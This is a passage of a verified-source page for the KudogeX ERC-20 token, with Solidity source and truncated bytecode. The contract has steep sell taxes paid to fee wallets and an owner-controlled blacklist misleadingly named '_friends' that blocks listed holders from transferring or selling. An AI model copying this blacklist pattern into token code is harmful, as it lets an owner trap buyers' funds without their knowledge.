amountETH, uint liquidity); } contract KudogeX is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _friends; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Ku DogeX"; string private constant _symbol = unicode" KuDogeX "; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _feeRate = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; address payable private _marketingFixedWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; struct User { uint256 buyCD; uint256 sellCD; uint256 lastBuy; uint256 buynumber; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _marketingFixedWalletAddress = marketingFixedWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; _isExcludedFromFee[marketingFixedWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_friends[from] && !_friends[to]); if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _friends[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _friends[to] = true; } } if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,0,0,0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > trader[to].lastBuy + (30 minutes)) { trader[to].buynumber = 0; } if (trader[to].buynumber == 0) { trader[to].buynumber++; _taxFee = 5; _teamFee = 5; } else if (trader[to].buynumber == 1) { trader[to].buynumber++; _taxFee = 4; _teamFee = 4; } else if (trader[to].buynumber == 2) { trader[to].buynumber++; _taxFee = 3; _teamFee = 3; } else if (trader[to].buynumber == 3) { trader[to].buynumber++; _taxFee = 2; _teamFee = 2; } else { //fallback _taxFee = 5; _teamFee = 5; } trader[to].lastBuy = block.timestamp; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } trader[to].sellCD = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired."); } uint256 total = 35; if(block.timestamp > trader[from].lastBuy + (3 hours)) { total = 10; } else if (block.timestamp > trader[from].lastBuy + (1 hours)) { total = 15; } else if (block.timestamp > trader[from].lastBuy + (30 minutes)) { total = 20; } else if (block.timestamp > trader[from].lastBuy + (5 minutes)) { total = 25; } else { //fallback total = 35; } _taxFee = (total.mul(4)).div(10); _teamFee = (total.mul(6)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(4)); _marketingFixedWalletAddress.transfer(amount.div(4)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); launchBlock = block.number; } function setFriends(address[] memory friends) public onlyOwner { for (uint i = 0; i < friends.length; i++) { if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) { _friends[friends[i]] = true; } } } function delFriend(address notfriend) public onlyOwner { _friends[notfriend] = false; } function isFriend(address ad) public view returns (bool) { return _friends[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - trader[buyer].buyCD; } // might return outdated counter if more than 30 mins function buyTax(address buyer) public view returns (uint) { return ((5 - trader[buyer].buynumber).mul(2)); } function sellTax(address ad) public view returns (uint) { if(block.timestamp > trader[ad].lastBuy + (3 hours)) { return 10; } else if (block.timestamp > trader[ad].lastBuy + (1 hours)) { return 15; } else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) { return 20; } else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) { return 25; } else { return 35; } } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600881526020017f4b7520446f676558000000000000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600981526020017f204b75446f676558200000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff